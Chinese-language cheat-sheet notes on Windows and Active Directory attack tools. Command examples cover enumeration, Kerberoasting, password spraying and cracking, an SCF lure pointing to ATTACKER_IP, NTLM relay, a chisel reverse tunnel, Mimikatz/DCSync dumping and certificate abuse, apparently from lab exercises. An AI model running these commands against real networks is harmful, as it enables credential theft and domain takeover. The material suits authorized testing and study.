0%

Windows工具

windows工具笔记

阶段 0:目标发现与服务识别

nmap

常见攻击场景:

  1. 初始踩点识别 DC 与域成员主机。
  2. 确认 SMB/LDAP/Kerberos/WinRM/RDP 是否开放。

常用参数(含解释):

  • -sC:运行默认 NSE 脚本,快速获取服务信息。
  • -sV:识别服务版本。
  • -p-:扫描全部 TCP 端口。
  • -Pn:跳过主机发现,目标禁 ping 时常用。
  • -oA <name>:同时输出 nmap/gnmap/xml
  • --min-rate <num>:提高最小发包速率,提速但更吵。

示例:

1
2
nmap -sC -sV -p 53,88,135,139,389,445,464,636,3268,5985,3389 10.10.10.10 -oA dc_scan
nmap -p- -Pn --min-rate 8000 10.10.10.0/24 -oA full_tcp

阶段 1:匿名/低权限信息枚举

smbclient

常见攻击场景:

  1. 匿名或低权限访问 SYSVOL/NETLOGON
  2. 下载 GPP 等配置文件,提取潜在凭据。

常用参数(含解释):

  • -L //host:列共享。
  • -N:空口令连接。
  • -U user%pass:指定用户名密码。
  • -I <IP>:指定目标 IP(DNS 解析异常时好用)。
  • -c '<command>':非交互执行命令。

示例:

1
2
3
smbclient -L //10.10.10.100 -N
smbclient -L //10.10.10.100 -U "SVC_TGS%GPPstillStandingStrong2k18"
smbclient //10.10.10.100/SYSVOL -U "corp.local/jerry%Summer2025!" -c 'recurse;prompt OFF;ls'

smbmap

常见攻击场景:

  1. 快速查看共享目录可读/可写权限。
  2. 递归列目录、下载或上传文件。

常用参数(含解释):

  • -H <IP>:目标主机。
  • -u/-p:用户名和密码。
  • -d <domain>:域名。
  • -R:递归列目录。
  • -A <regex>:下载匹配文件。
  • --download <path>:下载远程文件。
  • --upload <src> <dst>:上传文件。

示例:

1
2
smbmap -d active.htb -H 10.10.10.100 -u SVC_TGS -p GPPstillStandingStrong2k18
smbmap -H 10.10.10.100 -u jerry -p 'Summer2025!' -R

enum4linux-ng / enum4linux

常见攻击场景:

  1. SMB 面快速全量枚举用户、组、共享、策略。
  2. 喷洒前先确认密码策略。

常用参数(含解释):

  • -A/-a:全量枚举。
  • -U:枚举用户。
  • -G:枚举组。
  • -S:枚举共享。
  • -P:读取密码策略。
  • -u/-p:带凭据枚举。

示例:

1
2
enum4linux -a 10.10.10.10
enum4linux -u guest -p '' -U -S -P 10.10.10.10

rpcclient

常见攻击场景:

  1. 匿名/低权枚举域用户、域组、SID。
  2. 与 SMB/LDAP 枚举结果交叉验证。

常用参数与交互命令(含解释):

  • -U <user>:用户名(空用户可匿名尝试)。
  • -N:不提示密码。
  • enumdomusers:枚举域用户。
  • enumdomgroups:枚举域组。
  • queryuser <rid>:查看用户详情。
  • lsaquery:查询域 SID。

示例:

1
2
3
4
rpcclient -U '' -N 10.10.10.10
# enumdomusers
# enumdomgroups
# queryuser 0x1f4

ldapsearch

常见攻击场景:

  1. 枚举用户、组、计算机对象。
  2. 查询 SPN 用户,为 Kerberoast 准备目标。

常用参数(含解释):

  • -x:简单认证。
  • -H ldap://<ip>:LDAP 服务地址。
  • -D <bind_dn>:绑定账户。
  • -w <pass>:绑定密码。
  • -b <base_dn>:查询基准 DN。
  • '(filter)':查询过滤器。

示例:

1
2
ldapsearch -x -H ldap://10.10.10.10 -D 'corp\\jerry' -w 'Summer2025!' -b 'DC=corp,DC=local' '(objectClass=user)' sAMAccountName memberOf
ldapsearch -x -H ldap://10.10.10.10 -D 'corp\\jerry' -w 'Summer2025!' -b 'DC=corp,DC=local' '(&(objectClass=user)(servicePrincipalName=*))' sAMAccountName servicePrincipalName

GetADUsers.py(Impacket)

常见攻击场景:

  1. 拿到一组域凭据后快速枚举域用户属性。

常用参数(含解释):

  • -all:输出更多属性(描述/邮箱/时间等)。
  • -dc-ip <IP>:指定域控 IP。
  • <domain>/<user>:<password>:认证格式。

示例:

1
GetADUsers.py -all active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100

BloodHound + SharpHound

常见攻击场景:

  1. 找“当前权限 -> 域管”的最短路径。
  2. 分析 ACL、会话、委派、信任关系。

常用参数(含解释):

  • -c All:全量收集。
  • -d <domain>:指定域。
  • --domaincontroller <IP>:指定 DC。
  • --zip / --zipfilename:打包结果导入 BloodHound。

示例:

1
SharpHound.exe -d active.htb -c All --domaincontroller 10.10.10.100 --zip

阶段 2:账号发现与认证攻击

kerbrute

常见攻击场景:

  1. 用户名有效性枚举。
  2. 密码喷洒。

常用子命令/参数(含解释):

  • userenum:用户枚举。
  • passwordspray:密码喷洒。
  • bruteuser:单用户爆破(高风险)。
  • bruteforce:组合爆破。
  • -d <domain>:域名。
  • --dc <IP>:域控。

示例:

1
2
kerbrute userenum -d corp.local --dc 10.10.10.10 users.txt
kerbrute passwordspray -d corp.local --dc 10.10.10.10 users.txt 'Winter2025!'

GetNPUsers.py(AS-REP Roast)

常见攻击场景:

  1. 获取无预认证用户的 AS-REP hash 离线破解。

常用参数(含解释):

  • -usersfile <file>:用户列表。
  • -format hashcat:输出 hashcat 格式。
  • -outputfile <file>:保存结果。
  • -dc-ip <IP>:指定 DC。

示例:

1
GetNPUsers.py corp.local/ -dc-ip 10.10.10.10 -usersfile users.txt -format hashcat -outputfile asrep.hash

GetUserSPNs.py(Kerberoast)

常见攻击场景:

  1. 请求服务票据,离线破解服务账号密码。

常用参数(含解释):

  • -request:请求 TGS hash。
  • -dc-ip <IP>:指定 DC。
  • -t <user>:仅针对特定用户。
  • -outputfile <file>:保存 hash。

示例:

1
GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -request -dc-ip 10.10.10.100 -outputfile kerberoast.hash

gpp-decrypt

常见攻击场景:

  1. 解密 GPP 中 cpassword

常见步骤:

  1. smbclient/smbmap 下载 Groups.xml
  2. 提取 cpassword
  3. 执行 gpp-decrypt <cpassword>

hashcat

常见攻击场景:

  1. 破解 AS-REP / Kerberoast / NTLM 哈希。

常用参数(含解释):

  • -m <mode>:哈希类型。
  • -a 0:字典攻击。
  • -r <rule>:规则增强。
  • --show:显示已破解结果。

常见模式:

  • 18200:AS-REP
  • 13100:Kerberoast
  • 5600:NTLM

示例:

1
2
3
hashcat -m 18200 -a 0 asrep.hash /usr/share/wordlists/rockyou.txt
hashcat -m 13100 -a 0 kerberoast.hash /usr/share/wordlists/rockyou.txt
hashcat -m 5600 -a 0 ntlm.hash /usr/share/wordlists/rockyou.txt --show

john

常见攻击场景:

  1. 小规模 hash 快速验证。

常用参数(含解释):

  • --wordlist=<file>:字典。
  • --rules:规则变形。
  • --format=<type>:哈希格式。
  • --show:显示已破解条目。

示例:

1
2
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
john --show hashes.txt

Responder

常见攻击场景:

  1. 诱导认证并捕获 NetNTLMv1/v2。

常用参数(含解释):

  • -I <iface>:监听网卡。
  • -w:启用 WPAD。
  • -v:详细输出。

示例:

1
responder -I eth0 -wv

SCF 文件诱导(技巧)

常见攻击场景:

  1. 在可写共享投放 .scf,触发 UNC 认证请求。

示例:

1
2
3
4
5
[Shell]
Command=2
IconFile=\\ATTACKER_IP\share\test.ico
[Taskbar]
Command=ToggleDesktop

ntlmrelayx.py

常见攻击场景:

  1. 将捕获到的 NTLM 认证中继到 SMB/LDAP。

常用参数(含解释):

  • -tf <targets.txt>:目标列表。
  • -t <target>:单目标。
  • -smb2support:启用 SMB2。
  • --escalate-user <user>:LDAP 场景提权。

示例:

1
2
ntlmrelayx.py -tf targets.txt -smb2support
ntlmrelayx.py -t ldap://10.10.10.10 --escalate-user jerry

阶段 3:拿会话与验证可登录面

NetExec(nxc)

说明:crackmapexec 的后继社区版本。

常见攻击场景:

  1. 喷洒后批量验证 SMB/WinRM 登录。
  2. 枚举共享与会话,确认横向目标。

常用参数(含解释):

  • smb/winrm/ldap:协议模块。
  • -u/-p:用户名密码(支持文件)。
  • -H <nthash>:PTH 登录。
  • --shares/--sessions:共享与会话。
  • -X '<cmd>':远程命令执行。

示例:

1
2
nxc smb 10.10.10.0/24 -u users.txt -p pass.txt --continue-on-success
nxc winrm 10.10.10.0/24 -u Administrator -H <NTHASH>

evil-winrm

常见攻击场景:

  1. 5985/5986 开放时拿稳定 PowerShell 会话。

常用参数(含解释):

  • -i:目标 IP。
  • -u:用户名。
  • -p:密码。
  • -H:NTLM hash。
  • -P:端口。
  • -S:HTTPS。

示例:

1
2
evil-winrm -i 10.10.10.20 -u administrator -p 'P@ssw0rd!'
evil-winrm -i 10.10.10.20 -u administrator -H <NTHASH>

winrs.exe

常见攻击场景:

  1. Windows 原生 WinRM 客户端远程执行。

常用参数(含解释):

  • -r:<target>:目标。
  • -u:<user>:用户名。
  • -p:<pass>:密码。
  • -d:<path>:启动目录。

示例:

1
winrs -r:10.10.10.20 -u:corp\jerry -p:Summer2025! cmd

xfreerdp

常见攻击场景:

  1. 图形化登录 Windows 主机,执行桌面侧操作。

常用参数(含解释):

  • /v:<IP>:目标。
  • /u:<user>:用户。
  • /p:<pass>:密码。
  • /pth:<hash>:PTH。
  • /d:<domain>:域。
  • /cert:ignore:忽略证书。
  • /dynamic-resolution:动态分辨率。
  • /drive:share,/tmp:本地目录映射。
  • +clipboard:共享剪贴板。

示例:

1
xfreerdp /v:10.10.10.20 /u:administrator /p:'P@ssw0rd!' /cert:ignore /dynamic-resolution +clipboard

阶段 4:横向移动与远程执行

psexec.py(Impacket)

工作原理:

  • 通过 SMB 连接 ADMIN$,上传服务程序并经 RPC 创建/启动服务,获得交互 shell。

常用参数(含解释):

  • -hashes :<NTHASH>:使用 NTLM hash。
  • DOMAIN/USER@TARGET:目标身份格式。
  • 'whoami':可直接指定执行命令。

示例:

1
2
impacket-psexec -hashes :<NT_HASH> DOMAIN/USERNAME@<TARGET_IP>
impacket-psexec -hashes :<NT_HASH> DOMAIN/USERNAME@<TARGET_IP> 'whoami'

smbexec.py(Impacket)

工作原理:

  • 通过 RPC 创建服务执行命令,将输出重定向到 SMB 共享再回读。

常用参数(含解释):

  • -hashes :<NTHASH>:PTH。
  • DOMAIN/USER@TARGET:目标身份。

示例:

1
impacket-smbexec -hashes :<NT_HASH> DOMAIN/USERNAME@<TARGET_IP>

wmiexec.py(Impacket)

工作原理:

  • 通过 WMI/DCOM(135+高端口)远程执行,通常更隐蔽。

常用参数(含解释):

  • -hashes :<NTHASH>:PTH。
  • DOMAIN/USER@TARGET:目标身份。

示例:

1
impacket-wmiexec -hashes :<NT_HASH> DOMAIN/USERNAME@<TARGET_IP>

atexec.py(Impacket)

工作原理:

  • 通过计划任务机制执行命令。

常用参数(含解释):

  • <domain>/<user>:<pass>@<target>:认证目标。
  • -hashes:支持 hash 认证。

dcomexec.py(Impacket)

工作原理:

  • 使用 DCOM 不同端点远程执行命令。

常用参数(含解释):

  • -hashes:hash 认证。
  • <domain>/<user>@<target>:目标。

runas

常见攻击场景:

  1. 切换网络身份访问资源。
  2. /netonly 常用于跨域资源访问。

常用参数(含解释):

  • /user:<domain\user>:指定用户。
  • /netonly:仅网络访问使用该凭据。
  • /savecred:使用已保存凭据(重点审计项)。
  • /noprofile:不加载配置文件。

示例:

1
runas /netonly /user:active.htb\svc_tgs cmd

sc.exe

常见攻击场景:

  1. 远程创建/启动服务执行命令。
  2. 服务配置不当场景中的提权利用。

常用参数(含解释):

  • \\TARGET:远程目标。
  • create/start/stop/delete/query/config:服务管理动作。

示例:

1
2
3
sc \\192.168.1.50 query
sc \\192.168.1.50 create DemoSvc binPath= "C:\Windows\Temp\demo.exe"
sc \\192.168.1.50 start DemoSvc

schtasks

常见攻击场景:

  1. 远程创建并立即执行任务。
  2. 横向后做短期持久化。

常用参数(含解释):

  • /s TARGET:远程目标。
  • /create:创建任务。
  • /run:立即运行任务。
  • /delete /f:删除任务并强制。
  • /RU SYSTEM:SYSTEM 身份执行。
  • /tn:任务名称。

示例:

1
2
3
schtasks /s TARGET /RU "SYSTEM" /create /tn "THMtask1" /tr "cmd /c whoami > C:\Windows\Temp\w.txt" /sc ONCE /sd 01/01/1970 /st 00:00
schtasks /s TARGET /run /tn "THMtask1"
schtasks /s TARGET /tn "THMtask1" /delete /f

chisel

常见攻击场景:

  1. 双网段环境建立 SOCKS 隧道。
  2. 端口转发让本地工具访问内网服务。

常用参数(含解释):

  • server -p <port>:服务端监听。
  • --reverse:反向隧道。
  • client <server:port> R:socks:建立反向 socks。

示例:

1
2
3
4
5
# 攻击机
chisel server -p 9001 --reverse

# 受控主机
chisel.exe client 10.10.10.100:9001 R:socks

阶段 5:本地提权与凭据提取

winPEAS(PEASS-ng)

常见攻击场景:

  1. 快速识别本地提权路径和配置错误。

常用参数(含解释):

  • winPEASx64.exe:全量扫描。
  • quiet cmd fast:低噪音、较快扫描。

示例:

1
2
winPEASx64.exe
winPEASx64.exe quiet cmd fast

Potato 系列(BadPotato / SweetPotato)

常见攻击场景:

  1. 具备 SeImpersonatePrivilege 时尝试提权到 SYSTEM。

注意:

  • 必须先确认权限条件,否则成功率低。

Mimikatz

常见攻击场景:

  1. 抓取明文/哈希/票据。
  2. DCSync 抓域高价值哈希。

常用命令(含解释):

  • privilege::debug:起手式,开启调试权限。
  • sekurlsa::logonpasswords:抓登录会话凭据。
  • sekurlsa::msv:只看 hash。
  • lsadump::sam:导出本机 SAM。
  • lsadump::secrets:读取 LSA Secrets。
  • lsadump::dcsync /domain:<d> /user:<u>:执行 DCSync。
  • sekurlsa::tickets /export:导出票据。
  • kerberos::ptt <kirbi>:注入票据。
  • token::list/elevate/revert:令牌操作。

secretsdump.py(Impacket)

常见攻击场景:

  1. 导出本地/域控凭据材料。

常用参数(含解释):

  • -hashes :<nthash>:Hash 登录。
  • -just-dc-ntlm:仅导出域 NTLM。
  • -ntds <file> -system <file> LOCAL:离线解析。

示例:

1
2
secretsdump.py corp.local/administrator@10.10.10.10 -hashes :<NTHASH>
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

阶段 6:域提权、票据与持久化

certipy

常见攻击场景:

  1. 枚举 AD CS 模板误配(ESC)。
  2. 证书滥用获取高权身份。

常用子命令/参数(含解释):

  • find:枚举模板漏洞。
  • req:申请证书。
  • auth:用 PFX 认证。
  • -u/-p:账户凭据。
  • -dc-ip:域控。
  • -vulnerable:仅显示可利用模板。
  • -ca/-template/-upn:指定 CA、模板、目标 UPN。

示例:

1
2
3
certipy find -u jerry@corp.local -p 'Summer2025!' -dc-ip 10.10.10.10 -vulnerable
certipy req -u jerry@corp.local -p 'Summer2025!' -ca corp-CA -template User -upn administrator@corp.local
certipy auth -pfx administrator.pfx

Rubeus

常见攻击场景:

  1. Kerberoast / AS-REP roast。
  2. 票据注入与会话票据管理。

常用子命令(含解释):

  • kerberoast:导出可破解 TGS。
  • asreproast:导出 AS-REP。
  • triage:查看票据。
  • ptt:Pass-the-Ticket。

示例:

1
2
3
4
Rubeus.exe kerberoast /outfile:kerberoast.txt
Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt
Rubeus.exe triage
Rubeus.exe ptt /ticket:base64.kirbi

ticketer.py(Impacket)

常见攻击场景:

  1. 伪造黄金/白银票据(高风险、高权限前提)。

常用参数(含解释):

  • -domain <domain>:域名。
  • -domain-sid <sid>:域 SID。
  • -nthash <krbtgt_hash>:KRBTGT 哈希。
  • <username>:伪造身份用户名。

阶段 7:后渗透基础命令与辅助框架

常见 Windows 内置命令(拿到 shell 后)

  • whoami /all:身份、组、特权
  • ipconfig /all:网络和 DNS
  • systeminfo:系统与补丁
  • net user /domain:域用户
  • net group "Domain Admins" /domain:域管成员
  • nltest /dclist:<domain>:域控列表
  • klist:票据缓存

Nishang(PowerShell 框架)

常见攻击场景:

  1. PowerShell 场景下脚本化后渗透。

注意要点:

  • 常见要求 PowerShell v3+
  • 导入模块:Import-Module .\nishang.psm1
  • 执行策略调整和绕过动作应仅用于授权实验环境

Impacket 工具包其他脚本说明

除本笔记中已经在各阶段使用的脚本外,常见还有:

  • smbserver.py:快速搭建 SMB 服务(传文件/诱导认证)
  • rpcdump.py:枚举 RPC 端点
  • rpcmap.py:枚举/探测 RPC 接口(可配合爆破 opnum/uuid)
  • lookupsid.py:SID 枚举用户组
  • GetTGT.py:基于密码/hash/aesKey 请求 TGT
  • smbclient.py:Impacket 自带 SMB 客户端